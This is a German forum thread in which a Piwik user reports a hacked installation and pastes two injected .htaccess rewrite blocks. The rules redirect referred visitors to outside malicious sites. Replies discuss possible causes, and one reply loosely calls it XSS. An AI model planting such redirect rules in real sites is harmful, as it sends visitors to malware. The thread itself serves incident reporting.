Böse Skripte im Piwik Verzeichnis -

Deutschsprachiges Forum (German)
1

Hallo zusammen, mir fiel bei einer Piwik Insallation auf dass seit drei Tagen keine Besucher mehr getrackt wurden.
Als ich die Seite aufgerufen habe bekam ich eine Virusmeldung (siehe Anhang).
[attachment 1038 meldung.gif]

Nachdem ich lange in der Shopsoftware gesucht habe hab ich dann im Piwik nachgesehen.

Und da habe ich dann etliches gefunden z. B. htaccess Datei im config Verzeichnis:


<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
	RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
	RewriteRule ^.*$ http://actours.com/adgl.html [L,R]
</IfModule>

<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
	RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
	RewriteRule ^.*$ http://port.bg/wfgv.html [L,R]
</IfModule>

SEHR BÖSE!
Ich habe die aktuelle Version installiert und habe die auch nicht in dem von Piwik angegebenen Zeitraum aktualisiert… Security Report: Piwik.org webserver hacked for a few hours on 2012 Nov 26th - Analytics Platform - Matomo

Ich habe nun alle Dateien gelöscht und frisch hochgeladen.
Es funktioniert wieder alles - trotzdem sollte man dringend herausfinden wie das zustande kommen kann.

Es sieht ganz danach aus als ob es da ein Sicherheitsleck gibt ??? :frowning:

2

Nunja, das Sicherheitsleck kann sonstwo auf Deinem Webspace oder Server sein. Irgendwas hat dort vermutlich an mehreren Stellen seinen “Müll” abgelegt.
Dass hier direkt Piwik der Verursacher ist halte ich für relativ unwahrscheinlich - dann würde es schon mehr Probleme und Reports dazu geben.

3

Ganz bestimmt gibt es da ein Sicherheitsleck.
Ich vermute jedoch, dass dieses Leck nicht auf dem Web zu finden ist, sondern eher auf dem PC des Users in Form eines Trojaners/Keyloggers, welcher die FTP-Zugangsdaten geklaut und an unberechtigte Dritte weitergeleitet hat.

Diese Masche (verändern bzw. neuanlegen) von .htaccess-Files grassiert derzeit mächtig und betrifft nicht nur Piwik.

4

Hallo keraM, klar besteht theoretisch auch die Möglichkeit, dass FTP Passwörter gestohlen wurden. Das ist aber in diesem Fall mit an Sicherheit grenzender Wahrscheinlichkeit nicht der Fall.

Bei dem Vorfall handelt es sich um XSS und in den meisten Fällen werden Schwachstellen in Systemen genutzt um Angriffe zu realisieren.
Bei dem kürzlich entstandenen Sicherheitsproblem im Piwik-Update handelte es sich ebenfalls um XSS - wenn auch nicht über htaccess sondern durch Javascript.

Meine Intention war es in Bezug auf Piwik auf die Möglichkeit einer möglichen Sicherheitslücke hinzuweisen.